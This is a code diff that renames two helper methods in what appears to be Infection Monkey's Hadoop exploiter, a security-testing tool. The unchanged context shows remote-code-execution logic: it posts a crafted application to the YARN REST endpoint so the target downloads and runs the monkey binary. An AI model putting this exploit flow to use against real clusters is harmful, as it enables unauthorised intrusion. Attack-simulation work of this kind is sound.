diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 59cab9021..8568c3ab9 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE):
         if not paths:
             return False
         http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
-        command = self.build_command(paths["dest_path"], http_path)
+        command = self._build_command(paths["dest_path"], http_path)
         if not self.exploit(self.vulnerable_urls[0], command):
             return False
         http_thread.join(self.DOWNLOAD_TIMEOUT)
@@ -69,7 +69,7 @@ class HadoopExploiter(WebRCE):
         rand_name = ID_STRING + "".join(
             [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
         )
-        payload = self.build_payload(app_id, rand_name, command)
+        payload = self._build_payload(app_id, rand_name, command)
         resp = requests.post(
             posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
         )
@@ -85,7 +85,7 @@ class HadoopExploiter(WebRCE):
             return False
         return resp.status_code == 200
 
-    def build_command(self, path, http_path):
+    def _build_command(self, path, http_path):
         # Build command to execute
         monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
         if "linux" in self.host.os["type"]:
@@ -101,7 +101,7 @@ class HadoopExploiter(WebRCE):
         }
 
     @staticmethod
-    def build_payload(app_id, name, command):
+    def _build_payload(app_id, name, command):
         payload = {
             "application-id": app_id,
             "application-name": name,